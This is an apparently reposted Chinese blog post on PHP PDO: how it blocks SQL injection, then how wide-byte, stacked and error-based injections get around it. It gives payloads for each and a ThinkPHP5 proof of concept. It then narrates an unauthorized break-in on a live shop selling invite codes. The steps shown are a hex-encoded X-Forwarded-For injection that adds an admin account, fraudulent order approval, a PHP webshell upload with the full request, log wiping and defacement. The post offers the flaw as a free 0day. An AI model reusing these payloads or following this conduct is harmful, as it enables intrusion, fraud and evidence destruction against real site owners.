日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

從PDO下的注入思路到獲得GIT 2000star項(xiàng)目0day(文末0day福利)

 cn1188181 2021-07-14

bypass部分      




溫馨提示




      本文章僅供學(xué)習(xí)交流使用,文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!

0x01 PDO簡(jiǎn)介

PDO全名PHP Data Object

PDO擴(kuò)展為PHP訪問(wèn)數(shù)據(jù)庫(kù)定義了一個(gè)輕量級(jí)的一致接口。PDO提供了一個(gè)數(shù)據(jù)訪問(wèn)抽象層,這意味著,不管使用哪種數(shù)據(jù)庫(kù),都可以使用相同的函數(shù)(方法)來(lái)查詢和獲取數(shù)據(jù)。

PHP連接MySQL數(shù)據(jù)庫(kù)有三種方式(MySQL、Mysqli、PDO),列表性比較如下:


MysqliPDOMySQL
引入的PHP版本5.05.03.0之前
PHP5.x是否包含
服務(wù)端prepare語(yǔ)句的支持情況
客戶端prepare語(yǔ)句的支持情況
存儲(chǔ)過(guò)程支持情況
多語(yǔ)句執(zhí)行支持情況大多數(shù)

如需在php中使用pdo擴(kuò)展,需要在php.ini文件中進(jìn)行配置

圖片

0x02 PDO防范SQL注入

①調(diào)用方法轉(zhuǎn)義特殊字符

quote()方法(這種方法的原理跟addslashes差不多,都是轉(zhuǎn)義)

PDO類庫(kù)的quate()方法會(huì)將輸入字符串(如果需要)周?chē)由弦?hào),并在輸入字符串內(nèi)轉(zhuǎn)義特殊字符。

EG①:

<?php$conn = new PDO('sqlite:/home/lynn/music.sql3');
/* Dangerous string */$string = 'Naughty ' string';print 'Unquoted string: $stringn';print 'Quoted string:' . $conn->quote($string) . 'n';?>

輸出

Unquoted string: Naughty ' stringQuoted string: 'Naughty '' string'

EG②

test.sql

SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;
-- ------------------------------ Table structure for user-- ----------------------------DROP TABLE IF EXISTS `user`;CREATE TABLE `user` ( `id` int(10) NOT NULL, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
-- ------------------------------ Records of user-- ----------------------------INSERT INTO `user` VALUES (0, 'admin', 'admin');INSERT INTO `user` VALUES (1, 'user', 'user');
SET FOREIGN_KEY_CHECKS = 1;

pdo.php

<?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');     $username=$pdo->quote($username);     $password=$pdo->quote($password);    $sql='select * from user where username={$username} and password={$password}';    echo $sql.'</br>';    $row=$pdo->query($sql);    foreach ($row as $key => $value) {        print_r($value);    }
}catch(POOException $e){ echo $e->getMessage();}

訪問(wèn)http://localhost/pdo.php?username=admin&password=admin

圖片

當(dāng)我們使用單引號(hào)探測(cè)注入時(shí)

圖片

如圖,單引號(hào)已被反斜線轉(zhuǎn)義

預(yù)編譯語(yǔ)句

1、占位符-通過(guò)命名參數(shù)防止注入

通過(guò)命名參數(shù)防止注入的方法會(huì)使得程序在執(zhí)行SQL語(yǔ)句時(shí),將會(huì)把參數(shù)值當(dāng)成一個(gè)字符串整體來(lái)進(jìn)行處理,即使參數(shù)值中包含單引號(hào),也會(huì)把單引號(hào)當(dāng)成單引號(hào)字符,而不是字符串的起止符。這樣就在某種程度上消除了SQL注入攻擊的條件。

將原來(lái)的SQL查詢語(yǔ)句改為

Select * from where name=:username and password=:password

prepare方法進(jìn)行SQL語(yǔ)句預(yù)編譯

最后通過(guò)調(diào)用rowCount()方法,查看返回受sql語(yǔ)句影響的行數(shù)

返回0語(yǔ)句執(zhí)行失敗,大于等于1,則表示語(yǔ)句執(zhí)行成功。

All code

<?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->execute(array(':username'=>$username,':password'=>$password));    echo $stmt->rowCount();}catch(PDOException $e){    echo $e->getMessage();}?>

查詢成功

圖片

注入失敗

圖片

2、占位符-通過(guò)問(wèn)號(hào)占位符防止注入

把SQL語(yǔ)句再進(jìn)行修改

select * from user where name=? and password=?

同上,prepare方法進(jìn)行SQL語(yǔ)句預(yù)編譯

最后調(diào)用rowCount()方法,查看返回受sql語(yǔ)句影響的行數(shù)

<?header('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where username=? and password=?';    $stmt=$pdo->prepare($sql);    $stmt->execute(array($username,$password));    echo $stmt->rowCount();
}catch(PDOException $e){ echo $e->getMessage();}?>

效果同上

查詢成功

圖片

注入失敗

圖片

3.通過(guò)bindParam()方法綁定參數(shù)防御SQL注入

修改語(yǔ)句部分

$sql='select * from user where name=:username and password=:password'; $stmt=$pdo->prepare($sql); $stmt->bindParam(':username',$username,PDO::PARAM_STR); $stmt->bindParam(':password',$password,PDO::PARAM_STR);

解釋: 

a)::username 和 :password為命名參數(shù) 

b):$username;$password為獲取的變量,即用戶名和密碼。

c):PDO::PARAM_STR,表示參數(shù)變量的值一定要為字符串,即綁定參數(shù)類型為字符串。在bindparam()方法中,默認(rèn)綁定的參數(shù)類型就是字符串。

當(dāng)你要接受int型數(shù)據(jù)的時(shí)候可以綁定參數(shù)為PDO::PARAM_INT.

<?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GETT['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->bindParam(':username',$username,PDO::PARAM_STR);    $stmt->bindParam(':password',$password,PDO::PARAM_STR);    $stmt->execute();    echo $stmt->rowCount();
}catch(PDOException $e){ echo $e->getMessage();}?>

查詢成功

圖片

注入失敗

圖片

這只是總結(jié)了一部分PDO防范SQL注入的方法,仍有方法請(qǐng)見(jiàn)下文

其他手法還有很多,大家感興趣的話可以自行研究

0x03 PDO下的注入手法與思考

讀完前文后,讀者們可能不由感嘆,真狠啊,什么都tmd轉(zhuǎn)義,什么語(yǔ)句都預(yù)編譯了,這我tmd注入個(gè)毛...

圖片


北宋宰相王安石有言“看似尋常最奇崛,成如容易卻艱辛”

讓我們抽絲剝繭來(lái)探尋PDO下的注入手法

目前在PDO下,比較通用的手法主要有如下兩種

①寬字節(jié)注入

注入的原理就不講了,相信大家都知道

一張圖,清晰明了

圖片

當(dāng)Mysql數(shù)據(jù)庫(kù)my.ini文件中設(shè)置編碼為gbk時(shí),

我們的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函數(shù)、方法,或配置了magic_quotes_gpc=on,依然可以通過(guò)構(gòu)造%df'的方法繞過(guò)轉(zhuǎn)義

②堆疊注入與報(bào)錯(cuò)注入

PDO分為模擬預(yù)處理非模擬預(yù)處理

模擬預(yù)處理是防止某些數(shù)據(jù)庫(kù)不支持預(yù)處理而設(shè)置的,也是眾多注入的元兇

在初始化PDO驅(qū)動(dòng)時(shí),可以設(shè)置一項(xiàng)參數(shù),PDO::ATTR_EMULATE_PREPARES,作用是打開(kāi)模擬預(yù)處理(true)或者關(guān)閉(false),默認(rèn)為true。

PDO內(nèi)部會(huì)模擬參數(shù)綁定的過(guò)程,SQL語(yǔ)句是在最后execute()的時(shí)候才發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行。

非模擬預(yù)處理則是通過(guò)數(shù)據(jù)庫(kù)服務(wù)器來(lái)進(jìn)行預(yù)處理動(dòng)作,主要分為兩步:

第一步是prepare階段,發(fā)送SQL語(yǔ)句模板到數(shù)據(jù)庫(kù)服務(wù)器;

第二步通過(guò)execute()函數(shù)發(fā)送占位符參數(shù)給數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行。

PDO產(chǎn)生安全問(wèn)題的主要設(shè)置如下:

PDO::ATTR_EMULATE_PREPARES //模擬預(yù)處理(默認(rèn)開(kāi)啟

PDO::ATTR_ERRMODE //報(bào)錯(cuò)

PDO::MYSQL_ATTR_MULTI_STATEMENTS //允許多句執(zhí)行(默認(rèn)開(kāi)啟)

PDO默認(rèn)是允許多句執(zhí)行和模擬預(yù)編譯的,在用戶輸入?yún)?shù)可控的情況下,會(huì)導(dǎo)致堆疊注入。

2.1 沒(méi)有過(guò)濾的堆疊注入情況

<?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{ $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $sql='select * from user where username='{$username}' and password='{$password}''; echo $sql.'</br>'; $row=$pdo->query($sql); foreach ($row as $key => $value) { print_r($value); }
}catch(POOException $e){ echo $e->getMessage();}

因?yàn)樵?pdo>query()執(zhí)行之前,我們便可以對(duì)$sql進(jìn)行非法操作,那PDO相當(dāng)于沒(méi)用

圖片

圖片

如果想禁止多語(yǔ)句執(zhí)行,可在創(chuàng)建PDO實(shí)例時(shí)將PDO::MYSQL_ATTR_MULTI_STATEMENTS設(shè)置為false

new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

但是哪怕禁止了多語(yǔ)句執(zhí)行,也只是防范了堆疊注入而已,直接union即可

圖片

2.2 模擬預(yù)處理的情況

<?phptry { $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $username = $_GET['username']; $sql = 'select id,'.$_GET['role'].' from user where username = ?'; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo '<br>'; }} catch (PDOException $e) { echo $e;}

$role是可控的,導(dǎo)致可實(shí)現(xiàn)堆疊注入和inline query

圖片

圖片

2.3當(dāng)設(shè)置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION開(kāi)啟報(bào)錯(cuò)時(shí)

設(shè)置方法

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

無(wú)論是否開(kāi)啟PDO::ATTR_EMULATE_PREPARES-模擬預(yù)處理

此時(shí)SQL語(yǔ)句如果產(chǎn)生報(bào)錯(cuò),PDO則會(huì)將報(bào)錯(cuò)拋出

除設(shè)置錯(cuò)誤碼之外,PDO 還將拋出一個(gè) PDOException 異常類并設(shè)置它的屬性來(lái)反射錯(cuò)誤碼和錯(cuò)誤信息。

此設(shè)置在調(diào)試期間也非常有用,因?yàn)樗鼤?huì)有效地放大腳本中產(chǎn)生錯(cuò)誤的點(diǎn),從而可以非??焖俚刂赋龃a中有問(wèn)題的潛在區(qū)域

在這種情況下可以實(shí)現(xiàn)error-based SQL Injection

使用GTID_SUBSET函數(shù)進(jìn)行報(bào)錯(cuò)注入

http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin

圖片

2.4 非模擬預(yù)處理的情況

<?phptry {    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);    $username = $_GET['username'];    $sql = 'select id,'.$_GET['role'].' from user where username = ?';    $stmt = $pdo->prepare($sql);    $stmt->bindParam(1,$username);    $stmt->execute();    while($row=$stmt->fetch(PDO::FETCH_ASSOC))    {        var_dump($row);        echo '<br>';    }} catch (PDOException $e) {    echo $e;}

此時(shí)堆疊注入已經(jīng)歇逼

圖片

但inline query,報(bào)錯(cuò)注入依然堅(jiān)挺可用

圖片

③一個(gè)安全的case

只要語(yǔ)句內(nèi)存在有用戶非純字符可控部分,便不夠安全;那我們就用非模擬預(yù)處理sql寫(xiě)法

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

它會(huì)告訴 PDO 禁用模擬預(yù)處理語(yǔ)句,并使用 real parepared statements 。

這可以確保SQL語(yǔ)句和相應(yīng)的值在傳遞到mysql服務(wù)器之前是不會(huì)被PHP解析的(禁止了所有可能的惡意SQL注入攻擊)。

如下為一個(gè)安全使用PDO的case

$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');$stmt->execute(array('id' => $id));print_r($stmt -> fetchAll ());exit();

當(dāng)調(diào)用 prepare() 時(shí),查詢語(yǔ)句已經(jīng)發(fā)送給了數(shù)據(jù)庫(kù)服務(wù)器,此時(shí)只有占位符

發(fā)送過(guò)去,沒(méi)有用戶提交的數(shù)據(jù);當(dāng)調(diào)用到 execute()時(shí),用戶提交過(guò)來(lái)的值才會(huì)傳送給數(shù)據(jù)庫(kù),它們是分開(kāi)傳送的,兩者獨(dú)立的,SQL注入攻擊者沒(méi)有一點(diǎn)機(jī)會(huì)

0x04 案例剖析-ThinkPHP5中PDO導(dǎo)致的一個(gè)雞肋注入(來(lái)自Phithon師傅)

我們來(lái)看Phithon師傅幾年前博客發(fā)的一個(gè)case

https://www./PENETRATION/thinkphp5-in-sqlinjection.html

<?phpnamespace app\index\controller;
use app\index\model\User;
class Index{ public function index(){ $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); }}

如上述代碼,如果我們控制了in語(yǔ)句的值位置,即可通過(guò)傳入一個(gè)數(shù)組,來(lái)造成SQL注入漏洞。

文中已有分析,我就不多說(shuō)了,但說(shuō)一下為什么這是一個(gè)SQL注入漏洞。IN操作代碼如下:

<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {    // 處理帶非單詞字符的字段名    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {    // IN 查詢    if ($value instanceof \Closure) {        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);    } else {        $value = is_array($value) ? $value : explode(',', $value);        if (array_key_exists($field, $binds)) {            $bind  = [];            $array = [];            foreach ($value as $k => $v) {                if ($this->query->isBind($bindName . '_in_' . $k)) {                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                } else {                    $bindKey = $bindName . '_in_' . $k;                }                $bind[$bindKey] = [$v, $bindType];                $array[]        = ':' . $bindKey;            }            $this->query->bind($bind);            $zone = implode(',', $array);        } else {            $zone = implode(',', $this->parseValue($value, $field));        }        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? '''' : $zone) . ')';    }

可見(jiàn),$bindName在前邊進(jìn)行了一次檢測(cè),正常來(lái)說(shuō)是不會(huì)出現(xiàn)漏洞的。但如果$value是一個(gè)數(shù)組的情況下,這里會(huì)遍歷$value,并將$k拼接進(jìn)$bindName。

也就是說(shuō),我們控制了預(yù)編譯SQL語(yǔ)句中的鍵名,也就說(shuō)我們控制了預(yù)編譯的SQL語(yǔ)句,這理論上是一個(gè)SQL注入漏洞。那么,為什么原文中說(shuō)測(cè)試SQL注入失敗呢?

這就是涉及到預(yù)編譯的執(zhí)行過(guò)程了。通常,PDO預(yù)編譯執(zhí)行過(guò)程分三步:

1.prepare($SQL) 編譯SQL語(yǔ)句2.bindValue($param, $value) 將value綁定到param的位置上3.execute() 執(zhí)行

這個(gè)漏洞實(shí)際上就是控制了第二步的$param變量,這個(gè)變量如果是一個(gè)SQL語(yǔ)句的話,那么在第二步的時(shí)候是會(huì)拋出錯(cuò)誤的:

圖片

所以,這個(gè)錯(cuò)誤“似乎”導(dǎo)致整個(gè)過(guò)程執(zhí)行不到第三步,也就沒(méi)法進(jìn)行注入了。

但實(shí)際上,在預(yù)編譯的時(shí)候,也就是第一步即可利用。我們可以做有一個(gè)實(shí)驗(yàn)。編寫(xiě)如下代碼:

<?php$params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false,];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');} catch (\PDOException $e) { var_dump($e);}

執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語(yǔ)句中的報(bào)錯(cuò)已經(jīng)成功執(zhí)行:

圖片

究其原因,是因?yàn)槲疫@里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。

這個(gè)選項(xiàng)涉及到PDO的“預(yù)處理”機(jī)制:因?yàn)椴皇撬袛?shù)據(jù)庫(kù)驅(qū)動(dòng)都支持SQL預(yù)編譯,所以PDO存在“模擬預(yù)處理機(jī)制”。如果說(shuō)開(kāi)啟了模擬預(yù)處理,那么PDO內(nèi)部會(huì)模擬參數(shù)綁定的過(guò)程,SQL語(yǔ)句是在最后execute()的時(shí)候才發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會(huì)模擬預(yù)處理,參數(shù)化綁定的整個(gè)過(guò)程都是和Mysql交互進(jìn)行的。

非模擬預(yù)處理的情況下,參數(shù)化綁定過(guò)程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語(yǔ)句到mysql服務(wù)器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務(wù)器進(jìn)行執(zhí)行(多次執(zhí)行optimization->execution)。

這時(shí),假設(shè)在第一步執(zhí)行prepare($SQL)的時(shí)候我的SQL語(yǔ)句就出現(xiàn)錯(cuò)誤了,那么就會(huì)直接由mysql那邊拋出異常,不會(huì)再執(zhí)行第二步。我們看看ThinkPHP5的默認(rèn)配置:

...// PDO連接參數(shù)protected $params = [    PDO::ATTR_CASE              => PDO::CASE_NATURAL,    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,    PDO::ATTR_STRINGIFY_FETCHES => false,    PDO::ATTR_EMULATE_PREPARES  => false,];...

可見(jiàn),這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報(bào)錯(cuò)注入,獲取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

圖片

但是,如果你將user()改成一個(gè)子查詢語(yǔ)句,那么結(jié)果又會(huì)爆出Invalid parameter number: parameter was not defined的錯(cuò)誤。

因?yàn)闆](méi)有過(guò)多研究,說(shuō)一下我猜測(cè):預(yù)編譯的確是mysql服務(wù)端進(jìn)行的,但是預(yù)編譯的過(guò)程是不接觸數(shù)據(jù)的 ,也就是說(shuō)不會(huì)從表中將真實(shí)數(shù)據(jù)取出來(lái),所以使用子查詢的情況下不會(huì)觸發(fā)報(bào)錯(cuò);雖然預(yù)編譯的過(guò)程不接觸數(shù)據(jù),但類似user()這樣的數(shù)據(jù)庫(kù)函數(shù)的值還是將會(huì)編譯進(jìn)SQL語(yǔ)句,所以這里執(zhí)行并爆了出來(lái)。

0x05 實(shí)戰(zhàn)案例-從cl社區(qū)激活碼到Git 2000+ Star項(xiàng)目0day

5.1 起因

挖SRC,做項(xiàng)目做的心生煩悶,前幾日忍不住在家看1024(cl)社區(qū),越看越來(lái)勁,邪火攻心,想搜片看

奈何cl社區(qū)一向奉行邀請(qǐng)制,邀請(qǐng)碼又很難搞到,可謂讓人十分不爽

于是本人去google上找了一個(gè)賣(mài)1024社區(qū)邀請(qǐng)碼的站

圖片

88塊錢(qián)....雖然不算貴,但售賣(mài)這種東西本來(lái)就是不受法律保護(hù)的。作為一個(gè)JB小子,怎么可能不動(dòng)點(diǎn)白嫖心思?

在黑盒測(cè)試了一段時(shí)間后,發(fā)現(xiàn)支付邏輯和前臺(tái)都沒(méi)什么安全問(wèn)題。。難道我真的要花錢(qián)買(mǎi)這激活碼????

不可能,絕對(duì)不可能。

看到網(wǎng)站底部有一個(gè)Powered by xxx,呵呵呵,好家伙,不出意外這應(yīng)該就是這個(gè)站用的CMS系統(tǒng)了

圖片

去Git上一搜,還真有,2000多個(gè)Star,作者維護(hù)了好幾年,也算是個(gè)成熟的項(xiàng)目了。

直接把最新版源碼下載下來(lái),丟進(jìn)PHPstorm里開(kāi)始審計(jì)

5.2 從審計(jì)思路到PDO導(dǎo)致的前臺(tái)XFF堆疊注入

就我個(gè)人而言,拿到一套源碼,我更喜歡黑白盒相結(jié)合;根據(jù)前臺(tái)能訪問(wèn)到的功能點(diǎn)來(lái)確定自己審計(jì)的目標(biāo)

簡(jiǎn)單看了一下整套系統(tǒng)是MVC架構(gòu)的,使用了PDO,使用有部分過(guò)濾規(guī)則;后臺(tái)默認(rèn)路徑是/admin

看了一遍前臺(tái)的功能點(diǎn),發(fā)現(xiàn)在查詢訂單處路徑名很有趣,帶有一個(gè)/query,直接搜一下頁(yè)面上關(guān)鍵詞,跟進(jìn)入到源碼中

圖片

發(fā)現(xiàn)了如下的一段code

圖片

PDO均為默認(rèn)配置,立馬想到了堆疊注入

經(jīng)測(cè)試orderid用戶可控,全局搜索orderid發(fā)現(xiàn),orderid經(jīng)函數(shù)方法后被處理為純字符串,沒(méi)有注入余地,故選擇另辟蹊徑

后發(fā)現(xiàn)ip參數(shù)用戶同樣可控,在調(diào)用select方法前沒(méi)做任何處理。

ip參數(shù)調(diào)用的是getClientIP方法,我們跟一下getClientIP方法

圖片

很好理解,就是從常見(jiàn)的http header中獲取客戶端IP

但是非常高興,ip參數(shù)未做任何處理,我們可以通過(guò)構(gòu)造XFF頭來(lái)實(shí)現(xiàn)堆疊注入

因?yàn)橛衏srf_token的校驗(yàn),我們必須在查詢訂單的頁(yè)面,隨便輸入個(gè)訂單號(hào),隨后輸入正確的驗(yàn)證碼,隨后查詢才有效

隨后手動(dòng)構(gòu)造XFF頭,進(jìn)行針對(duì)PDO的堆疊注入

因?yàn)镻DO處為雙引號(hào)進(jìn)行語(yǔ)句閉合,且屬于無(wú)回顯的堆疊注入

故構(gòu)造Payload為

X-FORWARDED-For:1';select sleep(5)#

圖片

延遲了5s,注入成功。

針對(duì)這種沒(méi)回顯的堆疊注入,盲注太慢,用Dnslog OOB又太慢,所以選擇構(gòu)造一個(gè)添加后臺(tái)管理員的insert payload

X-FORWARDED-For:1“;insert into t_admin_user values(99,'test@test.test','76b1807fc1c914f15588520b0833fbc3','78e055',0);

但是現(xiàn)實(shí)是很殘酷的,測(cè)試發(fā)現(xiàn),在XFF頭中,1'將語(yǔ)句閉合后只要出現(xiàn)了引號(hào)或者逗號(hào),就會(huì)引發(fā)報(bào)錯(cuò),SQL語(yǔ)句無(wú)法執(zhí)行

但是具有一定審計(jì)經(jīng)驗(yàn)的兄弟一定會(huì)想到,PDO下Prepare Statement給我們提供了繞過(guò)過(guò)濾進(jìn)行注入的沃土

山重水復(fù)疑無(wú)路,柳暗花明又一村

5.3 Prepare Statement構(gòu)造注入語(yǔ)句

知識(shí)補(bǔ)充 --- Prepare Statement寫(xiě)法

MySQL官方將prepare、execute、deallocate統(tǒng)稱為PREPARE STATEMENT(預(yù)處理)

預(yù)制語(yǔ)句的SQL語(yǔ)法基于三個(gè)SQL語(yǔ)句:

prepare stmt_name from preparable_stmt;execute stmt_name [using @var_name [, @var_name] ...];{deallocate | drop} prepare stmt_name;

給出MYSQL中兩個(gè)簡(jiǎn)單的demo

set@a='select user()';PREPARE a FROM @a;execute a;select sleep(3);#set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#  //73656C65637420757365722829為select user() 16進(jìn)制編碼后的字符串,前面再加上0x聲明這是一個(gè)16進(jìn)制字符串

Prepare語(yǔ)句在防范SQL注入方面起到了非常大的作用,但是對(duì)于SQL注入攻擊卻也提供了新的手段。

Prepare語(yǔ)句最大的特點(diǎn)就是它可以將16進(jìn)制串轉(zhuǎn)為語(yǔ)句字符串并執(zhí)行。如果我們發(fā)現(xiàn)了一個(gè)存在堆疊注入的場(chǎng)景,但過(guò)濾非常嚴(yán)格,便可以使用prepare語(yǔ)句進(jìn)行繞過(guò)。

將我們的insert語(yǔ)句直接hex編碼

圖片

構(gòu)造注入語(yǔ)句

X-FORWARDED-For:1';set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#//sleep用于判斷注入是否成功

圖片

延時(shí)3s,注入成功,成功添加了一個(gè)賬號(hào)為test@test.test[4],密碼為123456的后臺(tái)管理員

直接默認(rèn)后臺(tái)路徑/admin登錄后臺(tái)

圖片

前臺(tái)提交一個(gè)cl社區(qū)邀請(qǐng)碼的訂單

后臺(tái)修改訂單狀態(tài)為確認(rèn)付款

圖片

沒(méi)過(guò)一會(huì),邀請(qǐng)碼直接到郵箱

圖片

以后可以搜片看了

圖片

圖片

5.4 不講武德被發(fā)現(xiàn)

在不講武德,連續(xù)薅了幾個(gè)邀請(qǐng)碼,發(fā)給朋友后

站長(zhǎng)終于發(fā)現(xiàn)了

圖片

八嘎,既然發(fā)現(xiàn)了,那就干脆把你的站日下來(lái)吧,然后好好擦擦屁股,免得0day被這站長(zhǎng)抓走

圖片

5.5 后臺(tái)Getshell審計(jì)(Thanks 17@M78sec)

經(jīng)測(cè)試后臺(tái)的文件上傳處鑒權(quán)比較嚴(yán)格,沒(méi)法直接前臺(tái)getshell

但是后臺(tái)文件上傳處,沒(méi)有對(duì)文件擴(kuò)展名進(jìn)行任何過(guò)濾,只有一處前端js校驗(yàn),所以后臺(tái)getshell直接白給

圖片

文件上傳后不會(huì)返回上傳路徑,但上傳路徑和上傳文件的命名規(guī)則我們已經(jīng)了如指掌

圖片


UPLOAD_PATH定義如下

define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');

CUR_DATE定義如下

define('CUR_DATE', date('Y-m-d'));

文件名

$filename=date('His');  //小時(shí)+分鐘+秒

以我現(xiàn)在21點(diǎn)05分鐘為例,輸出結(jié)果如下

圖片

以2021年5月26日的21點(diǎn)05分44秒為例

完整的文件路徑即為

http://www./res/upload/2021-05-26/210444.php

直接構(gòu)造表單

<meta charset='utf-8'><form action='http:///Admin/products/imgurlajax' method='post' enctype='multipart/form-data'>    <label for='file'>File:</label>    <input type='file' name='file' id='file' />    <input type='text' name='pid' id='pid' />  <--! pid記得自行修改為商品的id(后臺(tái)選擇商品抓包即可獲取)--></--!>    <input type='submit' value='Upload' /></form>

同時(shí)需要添加Referer: http:///Admin/products/imgurl/?id=1,并修改下方的pid

否則會(huì)提示“請(qǐng)選擇商品id”

最后完整的上傳http request如下

POST http:///Admin/products/imgurlajax HTTP/1.1Host: xxxxContent-Length: 291Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0ebOrigin: http://47.105.132.207Referer: http:///Admin/products/imgurl/?id=12Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaqConnection: close
------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='file'; filename='test.php'Content-Type: image/png
<?php phpinfo();------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='pid'
12------WebKitFormBoundaryeSrhtSPGxub0H0eb--

直接上傳成功

隨后通過(guò)burpsuite Intruder來(lái)跑一下最后的秒數(shù)

畢竟秒數(shù)不能拿捏的那么精準(zhǔn)

圖片

圖片

直接拿捏。

把web日志清理掉

然后給public index頁(yè)面加點(diǎn)樂(lè)子

圖片

傳統(tǒng)功夫,點(diǎn)到為止。

圖片

0x06 總結(jié)

本文主要介紹了通過(guò)PDO防范SQL注入的方法和PDO中的注入利用思路,并給大家?guī)?lái)了一個(gè)0day實(shí)例

你會(huì)發(fā)現(xiàn)層層抽絲剝繭研究一個(gè)模塊,并將其中的姿勢(shì)應(yīng)用于實(shí)戰(zhàn)中,是一件很美妙的事情。

由于政策問(wèn)題就不發(fā)是什么系統(tǒng)了,相信師傅們是很容易定位到出現(xiàn)本0day的系統(tǒng)的,這個(gè)0day就算白送各位師傅的了,希望師傅們也早日成為1024社區(qū)會(huì)員

圖片

0x07 Refence:

https://www./PENETRATION/thinkphp5-in-sqlinjection.html

https://blog.51cto.com/u_12332766/2137035

https://xz.aliyun.com/t/3950

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

